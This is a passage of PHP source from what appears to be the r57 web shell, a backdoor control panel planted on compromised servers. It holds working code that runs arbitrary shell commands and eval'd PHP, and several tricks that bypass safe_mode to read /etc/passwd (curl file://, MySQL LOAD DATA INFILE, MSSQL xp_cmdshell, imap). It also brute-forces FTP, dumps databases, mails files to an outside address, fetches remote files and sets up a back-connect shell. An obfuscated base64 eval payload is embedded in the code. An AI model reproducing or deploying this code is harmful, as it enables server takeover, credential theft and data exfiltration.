<b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; if($safe_mode) { switch($_POST['cmd']) { case 'safe_dir': $d=@dir($dir); if ($d) { while (false!==($file=$d->read())) { if ($file=="." || $file=="..") continue; @clearstatcache(); list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); if($windows){ echo date("d.m.Y H:i",$mtime); if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); } else{ $owner = @posix_getpwuid($uid); $grgid = @posix_getgrgid($gid); echo $inode." "; echo perms(@fileperms($file)); printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); echo date("d.m.Y H:i ",$mtime); } echo "$file\n"; } $d->close(); } else echo $lang[$language._text29]; break; case 'safe_file': if(@is_file($_POST['file'])) { $file = @file($_POST['file']); if($file) { $c = @sizeof($file); for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } } else echo $lang[$language._text29]; } else echo $lang[$language._text31]; break; case 'test1': $ci = @curl_init("file://".$_POST['test1_file'].""); $cf = @curl_exec($ci); echo $cf; break; case 'test2': @include($_POST['test2_file']); break; case 'test3': if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); if($db) { if(@mysql_select_db($_POST['test3_md'],$db)) { $sql = "DROP TABLE IF EXISTS temp_r57_table;"; @mysql_query($sql); $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; @mysql_query($sql); $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; @mysql_query($sql); $sql = "SELECT * FROM temp_r57_table;"; $r = @mysql_query($sql); while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } $sql = "DROP TABLE IF EXISTS temp_r57_table;"; @mysql_query($sql); } else echo "[-] ERROR! Can't select database"; @mysql_close($db); } else echo "[-] ERROR! Can't connect to mysql server"; break; case 'test4': if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); if($db) { if(@mssql_select_db($_POST['test4_md'],$db)) { @mssql_query("drop table r57_temp_table",$db); @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); $res = mssql_query("select * from r57_temp_table",$db); while(($row=@mssql_fetch_row($res))) { echo $row[0]."\r\n"; } @mssql_query("drop table r57_temp_table",$db); } else echo "[-] ERROR! Can't select database"; @mssql_close($db); } else echo "[-] ERROR! Can't connect to MSSQL server"; break; case 'test5': if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; @mb_send_mail(NULL, NULL, NULL, NULL, $extra); $lines = file ('/tmp/mb_send_mail'); foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; } break; case 'test6': $stream = @imap_open('/etc/passwd', "", ""); $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; @imap_close($stream); break; case 'test7': $stream = @imap_open($_POST['test7_file'], "", ""); $str = @imap_body($stream, 1); echo $str; @imap_close($stream); break; } } else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ $cmd_rep = ex($_POST['cmd']); if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } else { echo @htmlspecialchars($cmd_rep)."\n"; }} if ($_POST['cmd']=="ftp_brute") { $suc = 0; foreach($users as $user) { $connection = @ftp_connect($ftp_server,$ftp_port,10); if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } @ftp_close($connection); } echo "\r\n-------------------------------------\r\n"; $count = count($users); if(isset($_POST['reverse'])) { $count *= 2; } echo $lang[$language.'_text97'].$count."\r\n"; echo $lang[$language.'_text98'].$suc."\r\n"; } if ($_POST['cmd']=="php_eval"){ $eval = @str_replace("<?","",$_POST['php_eval']); $eval = @str_replace("?>","",$eval); @eval($eval);} if ($_POST['cmd']=="mysql_dump") { if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } else { if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } else { echo "[-] ERROR! Can't write in dump file"; } } } echo "</textarea></div>"; echo "</b>"; echo "</td></tr></table>"; echo "<table width=100% cellpadding=0 cellspacing=0>"; function up_down($id) { global $lang; global $language; return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">'; } function div($id) { if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; return '<div id="'.$id.'">'; } if(!$safe_mode){ echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts; echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo $te.'</div>'.$table_end1.$fe; } else{ echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts; echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); echo $te.'</div>'.$table_end1.$fe; if($safe_mode){ echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode && $unix){ echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo $te.'</div>'.$table_end1.$fe; } if(!$safe_mode){ foreach ($aliases as $alias_name=>$alias_cmd) { $aliases2 .= "<option>$alias_name</option>"; } echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); echo $te.'</div>'.$table_end1.$fe; if(!$safe_mode && $unix){ echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; echo (!empty($_POST['php_eval'])?($_POST['php_eval']):(":: Past your Eval code ::")); echo "</textarea>"; echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); echo "</div></div></font>"; echo $table_end1.$fe; if($safe_mode&&$curl_on) { echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode) { echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; echo "<table class=table1 width=100% align=center>"; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode&&$mysql_on) { echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode&&$mssql_on) { echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode&&$unix&&function_exists('mb_send_mail')){ echo $fs.$table_up1.$lang[$language.'_text112'].up_down('id22').$table_up2.div('id22').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode&&function_exists('imap_list')){ echo $fs.$table_up1.$lang[$language.'_text113'].up_down('id23').$table_up2.div('id23').$ts; echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode&&function_exists('imap_body')){ echo $fs.$table_up1.$lang[$language.'_text114'].up_down('id24').$table_up2.div('id24').$ts; echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if(@ini_get('file_uploads')){ echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); echo $te.'</div>'.$table_end1.$fe; } if(!$safe_mode&&!$windows){ echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); $arh = $lang[$language.'_text92']; if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); echo $te.'</div>'.$table_end1.$fe; if(@function_exists("ftp_connect")){ echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billgates@microsoft.com")))); echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billgates@microsoft.com")))); echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); echo $te."</td>".$fe."</tr></div></table>"; } if($unix && @function_exists("ftp_connect")){ echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); echo $te.'</div>'.$table_end1.$fe; } if(@function_exists("mail")){ echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("x.neo@hotmail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billgates@microsoft.com")))); echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("x.neo@hotmail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billgates@microsoft.com")))); echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from KingDefacer")))); echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); echo $te."</td>".$fe."</tr></div></table>"; } if($mysql_on||$mssql_on||$pg_on||$ora_on) { $select = '<select name=db>'; if($mysql_on) $select .= '<option>MySQL</option>'; if($mssql_on) $select .= '<option>MSSQL</option>'; if($pg_on) $select .= '<option>PostgreSQL</option>'; if($ora_on) $select .= '<option>Oracle</option>'; $select .= '</select>'; echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SHOW TABLES; SELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; } $_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); if(!$safe_mode&&!$windows){ echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'hmb')); echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option 